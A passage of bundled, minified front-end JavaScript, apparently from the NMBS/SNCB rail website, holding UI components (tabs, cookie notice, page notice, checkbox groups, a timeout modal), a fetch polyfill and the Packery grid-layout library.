value: function e() { - var t = window.getComputedStyle(this.el); - var i = t.getPropertyValue("left"); - return i !== "auto" - } - }, { - key: "getFirstTab", - value: function e() { - return this.el.querySelector("ul li:first-child") - } - }, { - key: "getLastTab", - value: function e() { - return this.el.querySelector("ul li:last-child") - } - }, { - key: "getTabPanelById", - value: function e(t) { - return this.tabPanels.filter(function (e) { - return e.attributes.id.value === t - })[0] - } - }, { - key: "getActive", - value: function e() { - return this.el.querySelector("ul li.active") - } - }]); - return t - }(p.Component); - g.defaultSettings = { - attributes: false - }; - t.default = g - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - t.default = undefined; - var n = i(13); - var r = _(n); - var a = i(3); - var s = _(a); - var o = i(1); - var l = _(o); - var u = i(6); - var d = _(u); - var f = i(4); - var c = _(f); - var h = i(5); - var m = _(h); - var p = i(2); - var v = i(15); - - function _(e) { - return e && e.__esModule ? e : { - default: e - } - } - var g = function (e) { - (0, m.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, l.default)(this, t); - var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.defaultSettings, i)); - n.onAccept = n.onAccept.bind(n); - n.onResize = n.onResize.bind(n); - n.onSettings = n.onSettings.bind(n); - n.onSave = n.onSave.bind(n); - n.onCancel = n.onCancel.bind(n); - n.btnAccept = n.el.querySelector("#cookie-notice__accept"); - n.btnSettings = n.el.querySelector("#cookie-notice__settings"); - n.btnSave = n.el.querySelector("#cookie-notice__save"); - n.btnCancel = n.el.querySelector("#cookie-notice__cancel"); - n.settingsEl = n.el.querySelector(".cookie-notice__settings"); - n.sidebars = (0, r.default)(document.querySelectorAll(".sidebar")); - n.btnAccept && n.btnAccept.addEventListener("click", n.onAccept); - n.btnSettings && n.btnSettings.addEventListener("click", n.onSettings); - n.btnSave && n.btnSave.addEventListener("click", n.onSave); - n.btnCancel && n.btnCancel.addEventListener("click", n.onCancel); - window.addEventListener("resize", n.onResize); - n.bindInstanceToWindow(); - return n - }(0, d.default)(t, [{ - key: "bindInstanceToWindow", - value: function e() { - window.NMBS_SNCB = window.NMBS_SNCB || {}; - window.NMBS_SNCB.cookieNotice = this - } - }, { - key: "adaptElements", - value: function e() { - var t = this; - setTimeout(function () { - document.body.style.paddingTop = t.getHeight() + "px" - }, 200) - } - }, { - key: "getHeight", - value: function e() { - return this.el.offsetHeight - } - }, { - key: "onResize", - value: function e() { - this.adaptElements() - } - }, { - key: "onAccept", - value: function e(t) { - t.preventDefault(); - this.hide(); - return false - } - }, { - key: "onSettings", - value: function e(t) { - t.preventDefault(); - this.showSettings(); - return false - } - }, { - key: "onSave", - value: function e(t) { - t.preventDefault(); - this.hide(); - return false - } - }, { - key: "onCancel", - value: function e(t) { - t.preventDefault(); - this.hide(); - return false - } - }, { - key: "showSettings", - value: function e() { - this.settingsEl.classList.add("is-active"); - document.body.classList.add("no-scroll-mobile") - } - }, { - key: "show", - value: function e() { - document.body.classList.add("cookied"); - this.el.classList.add("is-active"); - this.adaptElements() - } - }, { - key: "hide", - value: function e() { - this.el.classList.remove("is-active"); - document.body.classList.remove("cookied"); - document.body.classList.remove("no-scroll-mobile"); - if (!document.body.classList.contains("noticed")) { - document.body.style.paddingTop = 0 - } - } - }, { - key: "kill", - value: function e() { - this.btnAccept && this.btnAccept.removeEventListener("click", this.onAccept); - this.btnSettings && this.btnSettings.removeEventListener("click", this.onSettings); - this.btnSave && this.btnSave.removeEventListener("click", this.onSave); - window.removeEventListener("resize", this.onResize); - this.el.parentNode.removeChild(this.el) - } - }]); - return t - }(p.Component); - g.defaultSettings = { - attributes: true - }; - g.getInstance = function () { - if (!window.NMBS_SNCB) { - return null - } - return window.NMBS_SNCB.cookieNotice || null - }; - t.default = g - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - t.default = undefined; - var n = i(13); - var r = v(n); - var a = i(3); - var s = v(a); - var o = i(1); - var l = v(o); - var u = i(6); - var d = v(u); - var f = i(4); - var c = v(f); - var h = i(5); - var m = v(h); - var p = i(2); - - function v(e) { - return e && e.__esModule ? e : { - default: e - } - } - var _ = function (e) { - (0, m.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, l.default)(this, t); - var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.defaultSettings, i)); - n.onAccept = n.onAccept.bind(n); - n.onResize = n.onResize.bind(n); - n.btn = n.el.querySelector("button.page-notice__accept"); - n.sidebars = (0, r.default)(document.querySelectorAll(".sidebar")); - n.btn.addEventListener("click", n.onAccept); - window.addEventListener("resize", n.onResize); - n.init(); - return n - }(0, d.default)(t, [{ - key: "init", - value: function e() { - document.body.classList.add("noticed"); - this.adaptElements() - } - }, { - key: "adaptElements", - value: function e() { - var t = this; - setTimeout(function () { - t.sidebars.forEach(function (e) { - var i = e.classList.contains("sidebar__container--fixed"); - e.style.top = (i ? t.getHeight() : 0) + "px" - }); - document.body.style.paddingTop = t.getHeight() + "px" - }, 200) - } - }, { - key: "getHeight", - value: function e() { - return this.el.offsetHeight - } - }, { - key: "onResize", - value: function e() { - this.adaptElements() - } - }, { - key: "onAccept", - value: function e(t) { - t.preventDefault(); - this.hide(); - return false - } - }, { - key: "hide", - value: function e() { - document.body.classList.remove("noticed"); - if (!document.body.classList.contains("cookied")) { - document.body.style.paddingTop = 0; - this.sidebars.forEach(function (e) { - e.style.top = 0 - }) - } - this.btn.removeEventListener("click", this.onAccept); - window.removeEventListener("resize", this.onResize); - this.el.parentNode.removeChild(this.el) - } - }]); - return t - }(p.Component); - _.defaultSettings = { - attributes: false - }; - t.default = _ - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(3); - var r = v(n); - var a = i(1); - var s = v(a); - var o = i(4); - var l = v(o); - var u = i(5); - var d = v(u); - var f = i(2); - var c = i(469); - var h = v(c); - var m = i(470); - var p = v(m); - - function v(e) { - return e && e.__esModule ? e : { - default: e - } - } - var _ = function (e) { - (0, d.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, s.default)(this, t); - var n = (0, l.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.defaultSettings, i)); - (0, p.default)(e, function () { - new h.default(e, { - itemSelector: ".teaser-list__item", - gutter: 15, - percentPosition: true, - transitionDuration: 0 - }) - }); - return n - } - return t - }(f.Component); - t.default = _ - }, function (e, i) { - e.exports = t - }, function (e, t) { - e.exports = i - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(13); - var r = v(n); - var a = i(3); - var s = v(a); - var o = i(1); - var l = v(o); - var u = i(6); - var d = v(u); - var f = i(4); - var c = v(f); - var h = i(5); - var m = v(h); - var p = i(2); - - function v(e) { - return e && e.__esModule ? e : { - default: e - } - } - var _ = function (e) { - (0, m.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, l.default)(this, t); - var n = (0, c.default)(this, (t.__proto__ || (0, s.default)(t)).call(this, e, t.defaultSettings, i)); - var a = n; - var o = e.querySelectorAll("tr > td > label"); - n.els = o; - n.container = n.el; - n.bindEvents(); - (0, r.default)(o).forEach(function (e) { - var t = e.querySelector("input"); - if (t.checked) { - e.classList.add("checked") - } else { - e.classList.remove("checked") - } - t.addEventListener("change", function () { - a.setState(e) - }); - t.addEventListener("blur", function () { - a.loseFocus(e) - }); - t.addEventListener("focus", function () { - a.addFocus(e) - }) - }); - return n - }(0, d.default)(t, [{ - key: "bindEvents", - value: function e() { - this.setState = this.setState.bind(this); - this.addFocus = this.addFocus.bind(this); - this.loseFocus = this.loseFocus.bind(this) - } - }, { - key: "addFocus", - value: function e(t) { - t.classList.add("focus") - } - }, { - key: "loseFocus", - value: function e(t) { - t.classList.remove("focus") - } - }, { - key: "setState", - value: function e(t) { - if (this.container.classList.contains("radio")) { - if (!t.classList.contains("checked")) { - (0, r.default)(this.els).forEach(function (e) { - e.classList.remove("checked"); - e.classList.remove("focus") - }); - t.classList.add("checked"); - t.classList.add("focus") - } - } else { - if (!t.classList.contains("checked")) { - t.classList.add("checked"); - t.classList.add("focus") - } else { - t.classList.remove("checked"); - t.classList.add("focus") - } - } - } - }]); - return t - }(p.Component); - _.defaultSettings = {}; - t.default = _ - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(3); - var r = m(n); - var a = i(1); - var s = m(a); - var o = i(6); - var l = m(o); - var u = i(4); - var d = m(u); - var f = i(5); - var c = m(f); - var h = i(2); - - function m(e) { - return e && e.__esModule ? e : { - default: e - } - } - var p = function (e) { - (0, c.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, s.default)(this, t); - var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.defaultSettings, i)); - var a = e.querySelectorAll("button, a, input"); - var o = a[0]; - var l = a[a.length - 1]; - var u = 9; - n.firstFocusableEl = o; - n.lastFocusableEl = l; - e.addEventListener("keydown", function (e) { - if (e.key === "Tab" || e.keyCode === u) { - if (e.shiftKey) { - if (document.activeElement === o) { - l.focus(); - e.preventDefault() - } - } else { - if (document.activeElement === l) { - o.focus(); - e.preventDefault() - } - } - } - }); - n.bindEvents(); - n.bindInstanceToWindow(); - return n - }(0, l.default)(t, [{ - key: "bindInstanceToWindow", - value: function e() { - window.NMBS_SNCB = window.NMBS_SNCB || {}; - window.NMBS_SNCB.timeoutModal = this - } - }, { - key: "bindEvents", - value: function e() { - this.show = this.show.bind(this); - this.hide = this.hide.bind(this) - } - }, { - key: "show", - value: function e() { - this.el.classList.add("flex-d"); - setTimeout(function () { - return document.body.classList.add("timeout-modal--open") - }, 0); - this.firstFocusableEl.focus() - } - }, { - key: "hide", - value: function e() { - var t = this; - document.body.classList.remove("timeout-modal--open"); - setTimeout(function () { - return t.el.classList.remove("flex-d") - }, 300) - } - }]); - return t - }(h.Component); - p.defaultSettings = {}; - t.default = p - }]) - }) -}, function (e, t) { - (function (e) { - "use strict"; - if (e.fetch) { - return - } - var t = { - searchParams: "URLSearchParams" in e, - iterable: "Symbol" in e && "iterator" in Symbol, - blob: "FileReader" in e && "Blob" in e && function () { - try { - new Blob; - return true - } catch (e) { - return false - } - }(), - formData: "FormData" in e, - arrayBuffer: "ArrayBuffer" in e - }; - if (t.arrayBuffer) { - var i = ["[object Int8Array]", "[object Uint8Array]", "[object Uint8ClampedArray]", "[object Int16Array]", "[object Uint16Array]", "[object Int32Array]", "[object Uint32Array]", "[object Float32Array]", "[object Float64Array]"]; - var n = function (e) { - return e && DataView.prototype.isPrototypeOf(e) - }; - var r = ArrayBuffer.isView || function (e) { - return e && i.indexOf(Object.prototype.toString.call(e)) > -1 - } - } - - function a(e) { - if (typeof e !== "string") { - e = String(e) - } - if (/[^a-z0-9\-#$%&'*+.\^_`|~]/i.test(e)) { - throw new TypeError("Invalid character in header field name") - } - return e.toLowerCase() - } - - function s(e) { - if (typeof e !== "string") { - e = String(e) - } - return e - } - - function o(e) { - var i = { - next: function () { - var t = e.shift(); - return { - done: t === undefined, - value: t - } - } - }; - if (t.iterable) { - i[Symbol.iterator] = function () { - return i - } - } - return i - } - - function l(e) { - this.map = {}; - if (e instanceof l) { - e.forEach(function (e, t) { - this.append(t, e) - }, this) - } else if (Array.isArray(e)) { - e.forEach(function (e) { - this.append(e[0], e[1]) - }, this) - } else if (e) { - Object.getOwnPropertyNames(e).forEach(function (t) { - this.append(t, e[t]) - }, this) - } - } - l.prototype.append = function (e, t) { - e = a(e); - t = s(t); - var i = this.map[e]; - this.map[e] = i ? i + "," + t : t - }; - l.prototype["delete"] = function (e) { - delete this.map[a(e)] - }; - l.prototype.get = function (e) { - e = a(e); - return this.has(e) ? this.map[e] : null - }; - l.prototype.has = function (e) { - return this.map.hasOwnProperty(a(e)) - }; - l.prototype.set = function (e, t) { - this.map[a(e)] = s(t) - }; - l.prototype.forEach = function (e, t) { - for (var i in this.map) { - if (this.map.hasOwnProperty(i)) { - e.call(t, this.map[i], i, this) - } - } - }; - l.prototype.keys = function () { - var e = []; - this.forEach(function (t, i) { - e.push(i) - }); - return o(e) - }; - l.prototype.values = function () { - var e = []; - this.forEach(function (t) { - e.push(t) - }); - return o(e) - }; - l.prototype.entries = function () { - var e = []; - this.forEach(function (t, i) { - e.push([i, t]) - }); - return o(e) - }; - if (t.iterable) { - l.prototype[Symbol.iterator] = l.prototype.entries - } - - function u(e) { - if (e.bodyUsed) { - return Promise.reject(new TypeError("Already read")) - } - e.bodyUsed = true - } - - function d(e) { - return new Promise(function (t, i) { - e.onload = function () { - t(e.result) - }; - e.onerror = function () { - i(e.error) - } - }) - } - - function f(e) { - var t = new FileReader; - var i = d(t); - t.readAsArrayBuffer(e); - return i - } - - function c(e) { - var t = new FileReader; - var i = d(t); - t.readAsText(e); - return i - } - - function h(e) { - var t = new Uint8Array(e); - var i = new Array(t.length); - for (var n = 0; n < t.length; n++) { - i[n] = String.fromCharCode(t[n]) - } - return i.join("") - } - - function m(e) { - if (e.slice) { - return e.slice(0) - } else { - var t = new Uint8Array(e.byteLength); - t.set(new Uint8Array(e)); - return t.buffer - } - } - - function p() { - this.bodyUsed = false; - this._initBody = function (e) { - this._bodyInit = e; - if (!e) { - this._bodyText = "" - } else if (typeof e === "string") { - this._bodyText = e - } else if (t.blob && Blob.prototype.isPrototypeOf(e)) { - this._bodyBlob = e - } else if (t.formData && FormData.prototype.isPrototypeOf(e)) { - this._bodyFormData = e - } else if (t.searchParams && URLSearchParams.prototype.isPrototypeOf(e)) { - this._bodyText = e.toString() - } else if (t.arrayBuffer && t.blob && n(e)) { - this._bodyArrayBuffer = m(e.buffer); - this._bodyInit = new Blob([this._bodyArrayBuffer]) - } else if (t.arrayBuffer && (ArrayBuffer.prototype.isPrototypeOf(e) || r(e))) { - this._bodyArrayBuffer = m(e) - } else { - throw new Error("unsupported BodyInit type") - } - if (!this.headers.get("content-type")) { - if (typeof e === "string") { - this.headers.set("content-type", "text/plain;charset=UTF-8") - } else if (this._bodyBlob && this._bodyBlob.type) { - this.headers.set("content-type", this._bodyBlob.type) - } else if (t.searchParams && URLSearchParams.prototype.isPrototypeOf(e)) { - this.headers.set("content-type", "application/x-www-form-urlencoded;charset=UTF-8") - } - } - }; - if (t.blob) { - this.blob = function () { - var e = u(this); - if (e) { - return e - } - if (this._bodyBlob) { - return Promise.resolve(this._bodyBlob) - } else if (this._bodyArrayBuffer) { - return Promise.resolve(new Blob([this._bodyArrayBuffer])) - } else if (this._bodyFormData) { - throw new Error("could not read FormData body as blob") - } else { - return Promise.resolve(new Blob([this._bodyText])) - } - }; - this.arrayBuffer = function () { - if (this._bodyArrayBuffer) { - return u(this) || Promise.resolve(this._bodyArrayBuffer) - } else { - return this.blob().then(f) - } - } - } - this.text = function () { - var e = u(this); - if (e) { - return e - } - if (this._bodyBlob) { - return c(this._bodyBlob) - } else if (this._bodyArrayBuffer) { - return Promise.resolve(h(this._bodyArrayBuffer)) - } else if (this._bodyFormData) { - throw new Error("could not read FormData body as text") - } else { - return Promise.resolve(this._bodyText) - } - }; - if (t.formData) { - this.formData = function () { - return this.text().then(y) - } - } - this.json = function () { - return this.text().then(JSON.parse) - }; - return this - } - var v = ["DELETE", "GET", "HEAD", "OPTIONS", "POST", "PUT"]; - - function _(e) { - var t = e.toUpperCase(); - return v.indexOf(t) > -1 ? t : e - } - - function g(e, t) { - t = t || {}; - var i = t.body; - if (e instanceof g) { - if (e.bodyUsed) { - throw new TypeError("Already read") - } - this.url = e.url; - this.credentials = e.credentials; - if (!t.headers) { - this.headers = new l(e.headers) - } - this.method = e.method; - this.mode = e.mode; - if (!i && e._bodyInit != null) { - i = e._bodyInit; - e.bodyUsed = true - } - } else { - this.url = String(e) - } - this.credentials = t.credentials || this.credentials || "omit"; - if (t.headers || !this.headers) { - this.headers = new l(t.headers) - } - this.method = _(t.method || this.method || "GET"); - this.mode = t.mode || this.mode || null; - this.referrer = null; - if ((this.method === "GET" || this.method === "HEAD") && i) { - throw new TypeError("Body not allowed for GET or HEAD requests") - } - this._initBody(i) - } - g.prototype.clone = function () { - return new g(this, { - body: this._bodyInit - }) - }; - - function y(e) { - var t = new FormData; - e.trim().split("&").forEach(function (e) { - if (e) { - var i = e.split("="); - var n = i.shift().replace(/\+/g, " "); - var r = i.join("=").replace(/\+/g, " "); - t.append(decodeURIComponent(n), decodeURIComponent(r)) - } - }); - return t - } - - function b(e) { - var t = new l; - var i = e.replace(/\r?\n[\t ]+/g, " "); - i.split(/\r?\n/).forEach(function (e) { - var i = e.split(":"); - var n = i.shift().trim(); - if (n) { - var r = i.join(":").trim(); - t.append(n, r) - } - }); - return t - } - p.call(g.prototype); - - function w(e, t) { - if (!t) { - t = {} - } - this.type = "default"; - this.status = t.status === undefined ? 200 : t.status; - this.ok = this.status >= 200 && this.status < 300; - this.statusText = "statusText" in t ? t.statusText : "OK"; - this.headers = new l(t.headers); - this.url = t.url || ""; - this._initBody(e) - } - p.call(w.prototype); - w.prototype.clone = function () { - return new w(this._bodyInit, { - status: this.status, - statusText: this.statusText, - headers: new l(this.headers), - url: this.url - }) - }; - w.error = function () { - var e = new w(null, { - status: 0, - statusText: "" - }); - e.type = "error"; - return e - }; - var M = [301, 302, 303, 307, 308]; - w.redirect = function (e, t) { - if (M.indexOf(t) === -1) { - throw new RangeError("Invalid status code") - } - return new w(null, { - status: t, - headers: { - location: e - } - }) - }; - e.Headers = l; - e.Request = g; - e.Response = w; - e.fetch = function (e, i) { - return new Promise(function (n, r) { - var a = new g(e, i); - var s = new XMLHttpRequest; - s.onload = function () { - var e = { - status: s.status, - statusText: s.statusText, - headers: b(s.getAllResponseHeaders() || "") - }; - e.url = "responseURL" in s ? s.responseURL : e.headers.get("X-Request-URL"); - var t = "response" in s ? s.response : s.responseText; - n(new w(t, e)) - }; - s.onerror = function () { - r(new TypeError("Network request failed")) - }; - s.ontimeout = function () { - r(new TypeError("Network request failed")) - }; - s.open(a.method, a.url, true); - if (a.credentials === "include") { - s.withCredentials = true - } else if (a.credentials === "omit") { - s.withCredentials = false - } - if ("responseType" in s && t.blob) { - s.responseType = "blob" - } - a.headers.forEach(function (e, t) { - s.setRequestHeader(t, e) - }); - s.send(typeof a._bodyInit === "undefined" ? null : a._bodyInit) - }) - }; - e.fetch.polyfill = true - })(typeof self !== "undefined" ? self : this) -}, function (e, t, i) { - var n, r, a; - (function (s, o) { - if (true) { - !(r = [i(3), i(6), i(5), i(144), i(145)], n = o, a = typeof n === "function" ? n.apply(t, r) : n, a !== undefined && (e.exports = a)) - } else if (typeof e == "object" && e.exports) { - e.exports = o(require("get-size"), require("outlayer"), require("./rect"), require("./packer"), require("./item")) - } else { - s.Packery = o(s.getSize, s.Outlayer, s.Packery.Rect, s.Packery.Packer, s.Packery.Item) - } - })(window, function e(t, i, n, r, a) { - "use strict"; - n.prototype.canFit = function (e) { - return this.width >= e.width - 1 && this.height >= e.height - 1 - }; - var s = i.create("packery"); - s.Item = a; - var o = s.prototype; - o._create = function () { - i.prototype._create.call(this); - this.packer = new r; - this.shiftPacker = new r; - this.isEnabled = true; - this.dragItemCount = 0; - var e = this; - this.handleDraggabilly = { - dragStart: function () { - e.itemDragStart(this.element) - }, - dragMove: function () { - e.itemDragMove(this.element, this.position.x, this.position.y) - }, - dragEnd: function () { - e.itemDragEnd(this.element) - } - }; - this.handleUIDraggable = { - start: function t(i, n) { - if (!n) { - return - } - e.itemDragStart(i.currentTarget) - }, - drag: function t(i, n) { - if (!n) { - return - } - e.itemDragMove(i.currentTarget, n.position.left, n.position.top) - }, - stop: function t(i, n) { - if (!n) { - return - } - e.itemDragEnd(i.currentTarget) - } - } - }; - o._resetLayout = function () { - this.getSize(); - this._getMeasurements(); - var e, t, i; - if (this._getOption("horizontal")) { - e = Infinity; - t = this.size.innerHeight + this.gutter; - i = "rightwardTopToBottom" - } else { - e = this.size.innerWidth + this.gutter; - t = Infinity; - i = "downwardLeftToRight" - } - this.packer.width = this.shiftPacker.width = e; - this.packer.height = this.shiftPacker.height = t; - this.packer.sortDirection = this.shiftPacker.sortDirection = i; - this.packer.reset(); - this.maxY = 0; - this.maxX = 0 - }; - o._getMeasurements = function () { - this._getMeasurement("columnWidth", "width"); - this._getMeasurement("rowHeight", "height"); - this._getMeasurement("gutter", "width") - }; - o._getItemLayoutPosition = function (e) { - this._setRectSize(e.element, e.rect); - if (this.isShifting || this.dragItemCount > 0) { - var t = this._getPackMethod(); - this.packer[t](e.rect) - } else { - this.packer.pack(e.rect) - } - this._setMaxXY(e.rect); - return e.rect - }; - o.shiftLayout = function () { - this.isShifting = true; - this.layout(); - delete this.isShifting - }; - o._getPackMethod = function () { - return this._getOption("horizontal") ? "rowPack" : "columnPack" - }; - o._setMaxXY = function (e) { - this.maxX = Math.max(e.x + e.width, this.maxX); - this.maxY = Math.max(e.y + e.height, this.maxY) - }; - o._setRectSize = function (e, i) { - var n = t(e); - var r = n.outerWidth; - var a = n.outerHeight; - if (r || a) { - r = this._applyGridGutter(r, this.columnWidth); - a = this._applyGridGutter(a, this.rowHeight) - } - i.width = Math.min(r, this.packer.width); - i.height = Math.min(a, this.packer.height) - }; - o._applyGridGutter = function (e, t) { - if (!t) { - return e + this.gutter - } - t += this.gutter; - var i = e % t; - var n = i && i < 1 ? "round" : "ceil"; - e = Math[n](e / t) * t; - return e - }; - o._getContainerSize = function () { - if (this._getOption("horizontal")) { - return { - width: this.maxX - this.gutter - } - } else { - return { - height: this.maxY - this.gutter - } - } - }; - o._manageStamp = function (e) { - var t = this.getItem(e); - var i; - if (t && t.isPlacing) { - i = t.rect - } else { - var r = this._getElementOffset(e); - i = new n({ - x: this._getOption("originLeft") ? r.left : r.right, - y: this._getOption("originTop") ? r.top : r.bottom - }) - } - this._setRectSize(e, i); - this.packer.placed(i); - this._setMaxXY(i) - }; - - function l(e, t) { - return e.position.y - t.position.y || e.position.x - t.position.x - } - - function u(e, t) { - return e.position.x - t.position.x || e.position.y - t.position.y - } - o.sortItemsByPosition = function () { - var e = this._getOption("horizontal") ? u : l; - this.items.sort(e) - }; - o.fit = function (e, t, i) { - var n = this.getItem(e); - if (!n) { - return - } - this.stamp(n.element); - n.enablePlacing(); - this.updateShiftTargets(n); - t = t === undefined ? n.rect.x : t; - i = i === undefined ? n.rect.y : i; - this.shift(n, t, i); - this._bindFitEvents(n); - n.moveTo(n.rect.x, n.rect.y); - this.shiftLayout(); - this.unstamp(n.element); - this.sortItemsByPosition(); - n.disablePlacing() - }; - o._bindFitEvents = function (e) { - var t = this; - var i = 0; - - function n() { - i++; - if (i != 2) { - return - } - t.dispatchEvent("fitComplete", null, [e]) - } - e.once("layout", n); - this.once("layoutComplete", n) - }; - o.resize = function () { - if (!this.isResizeBound || !this.needsResizeLayout()) { - return - } - if (this.options.shiftPercentResize) { - this.resizeShiftPercentLayout() - } else { - this.layout() - } - }; - o.needsResizeLayout = function () { - var e = t(this.element); - var i = this._getOption("horizontal") ? "innerHeight" : "innerWidth"; - return e[i] != this.size[i] - }; - o.resizeShiftPercentLayout = function () { - var e = this._getItemsForLayout(this.items); - var i = this._getOption("horizontal"); - var n = i ? "y" : "x"; - var r = i ? "height" : "width"; - var a = i ? "rowHeight" : "columnWidth"; - var s = i ? "innerHeight" : "innerWidth"; - var o = this[a]; - o = o && o + this.gutter; - if (o) { - this._getMeasurements(); - var l = this[a] + this.gutter; - e.forEach(function (e) { - var t = Math.round(e.rect[n] / o); - e.rect[n] = t * l - }) - } else { - var u = t(this.element)[s] + this.gutter; - var d = this.packer[r]; - e.forEach(function (e) { - e.rect[n] = e.rect[n] / d * u - }) - } - this.shiftLayout() - }; - o.itemDragStart = function (e) { - if (!this.isEnabled) { - return - } - this.stamp(e); - var t = this.getItem(e); - if (!t) { - return - } - t.enablePlacing(); - t.showDropPlaceholder(); - this.dragItemCount++; - this.updateShiftTargets(t) - }; - o.updateShiftTargets = function (e) { - this.shiftPacker.reset(); - this._getBoundingRect(); - var t = this._getOption("originLeft"); - var i = this._getOption("originTop"); - this.stamps.forEach(function (e) { - var r = this.getItem(e); - if (r && r.isPlacing) { - return - } - var a = this._getElementOffset(e); - var s = new n({ - x: t ? a.left : a.right, - y: i ? a.top : a.bottom - }); - this._setRectSize(e, s); - this.shiftPacker.placed(s) - }, this); - var r = this._getOption("horizontal"); - var a = r ? "rowHeight" : "columnWidth"; - var s = r ? "height" : "width"; - this.shiftTargetKeys = []; - this.shiftTargets = []; - var o; - var l = this[a]; - l = l && l + this.gutter; - if (l) { - var u = Math.ceil(e.rect[s] / l); - var d = Math.floor((this.shiftPacker[s] + this.gutter) / l); - o = (d - u) * l; - for (var f = 0; f < d; f++) { - var c = r ? 0 : f * l; - var h = r ? f * l : 0; - this._addShiftTarget(c, h, o) - } - } else { - o = this.shiftPacker[s] + this.gutter - e.rect[s]; - this._addShiftTarget(0, 0, o) - } - var m = this._getItemsForLayout(this.items); - var p = this._getPackMethod(); - m.forEach(function (e) { - var t = e.rect; - this._setRectSize(e.element, t); - this.shiftPacker[p](t); - this._addShiftTarget(t.x, t.y, o); - var i = r ? t.x + t.width : t.x; - var n = r ? t.y : t.y + t.height; - this._addShiftTarget(i, n, o); - if (l) { - var a = Math.round(t[s] / l); - for (var u = 1; u < a; u++) { - var d = r ? i : t.x + l * u; - var f = r ? t.y + l * u : n; - this._addShiftTarget(d, f, o) - } - } - }, this) - }; - o._addShiftTarget = function (e, t, i) { - var n = this._getOption("horizontal") ? t : e; - if (n !== 0 && n > i) { - return - } - var r = e + "," + t; - var a = this.shiftTargetKeys.indexOf(r) != -1; - if (a) { - return - } - this.shiftTargetKeys.push(r); - this.shiftTargets.push({ - x: e, - y: t - }) - }; - o.shift = function (e, t, i) { - var n; - var r = Infinity; - var a = { - x: t, - y: i - }; - this.shiftTargets.forEach(function (e) { - var t = d(e, a); - if (t < r) { - n = e; - r = t - } - }); - e.rect.x = n.x; - e.rect.y = n.y - }; - - function d(e, t) { - var i = t.x - e.x; - var n = t.y - e.y; - return Math.sqrt(i * i + n * n) - } - var f = 120; - o.itemDragMove = function (e, t, i) { - var n = this.isEnabled && this.getItem(e); - if (!n) { - return - } - t -= this.size.paddingLeft; - i -= this.size.paddingTop; - var r = this; - - function a() { - r.shift(n, t, i); - n.positionDropPlaceholder(); - r.layout() - } - var s = new Date; - var o = this._itemDragTime && s - this._itemDragTime < f; - if (o) { - clearTimeout(this.dragTimeout); - this.dragTimeout = setTimeout(a, f) - } else { - a(); - this._itemDragTime = s - } - }; - o.itemDragEnd = function (e) { - var t = this.isEnabled && this.getItem(e); - if (!t) { - return - } - clearTimeout(this.dragTimeout); - t.element.classList.add("is-positioning-post-drag"); - var i = 0; - var n = this; - - function r() { - i++; - if (i != 2) { - return - } - t.element.classList.remove("is-positioning-post-drag"); - t.hideDropPlaceholder(); - n.dispatchEvent("dragItemPositioned", null, [t]) - } - t.once("layout", r); - this.once("layoutComplete", r); - t.moveTo(t.rect.x, t.rect.y); - this.layout(); - this.dragItemCount = Math.max(0, this.dragItemCount - 1); - this.sortItemsByPosition(); - t.disablePlacing(); - this.unstamp(t.element) - }; - o.bindDraggabillyEvents = function (e) { - this._bindDraggabillyEvents(e, "on") - }; - o.unbindDraggabillyEvents = function (e) { - this._bindDraggabillyEvents(e, "off") - }; - o._bindDraggabillyEvents = function (e, t) { - var i = this.handleDraggabilly; - e[t]("dragStart", i.dragStart); - e[t]("dragMove", i.dragMove); - e[t]("dragEnd", i.dragEnd) - }; - o.bindUIDraggableEvents = function (e) { - this._bindUIDraggableEvents(e, "on") - }; - o.unbindUIDraggableEvents = function (e) { - this._bindUIDraggableEvents(e, "off") - }; - o._bindUIDraggableEvents = function (e, t) { - var i = this.handleUIDraggable; - e[t]("dragstart", i.start)[t]("drag", i.drag)[t]("dragstop", i.stop) - }; - var c = o.destroy; - o.destroy = function () { - c.apply(this, arguments); - this.isEnabled = false - }; - s.Rect = n; - s.Packer = r; - return s - }) -}, function (e, t, i) { - var n, r; - (function (a, s) { - if (true) { - !(n = [i(142)], r = function (e) { - return s(a, e) - }.apply(t, n), r !== undefined && (e.exports = r)) - } else if (typeof e == "object" && e.exports) { - e.exports = s(a, require("desandro-matches-selector")) - } else { - a.fizzyUIUtils = s(a, a.matchesSelector) - } - })(window, function e(t, i) { - "use strict"; - var n = {}; - n.extend = function (e, t) { - for (var i in t) { - e[i] = t[i] - } - return e - }; - n.modulo = function (e, t) { - return (e % t + t) % t - }; - var r = Array.prototype.slice; - n.makeArray = function (e) { - if (Array.isArray(e)) { - return e - } - if (e === null || e === undefined) { - return [] - } - var t = typeof e == "object" && typeof e.length == "number"; - if (t) { - return r.call(e) - } - return [e] - }; - n.removeFrom = function (e, t) { - var i = e.indexOf(t); - if (i != -1) { - e.splice(i, 1) - } - }; - n.getParent = function (e, t) { - while (e.parentNode && e != document.body) { - e = e.parentNode; - if (i(e, t)) { - return e - } - } - }; - n.getQueryElement = function (e) { - if (typeof e == "string") { - return document.querySelector(e) - } - return e - }; - n.handleEvent = function (e) { - var t = "on" + e.type; - if (this[t]) { - this[t](e) - } - }; - n.filterFindElements = function (e, t) { - e = n.makeArray(e); - var r = []; - e.forEach(function (e) { - if (!(e instanceof HTMLElement)) { - return - } - if (!t) { - r.push(e); - return - } - if (i(e, t)) { - r.push(e) - } - var n = e.querySelectorAll(t); - for (var a = 0; a < n.length; a++) { - r.push(n[a]) - } - }); - return r - 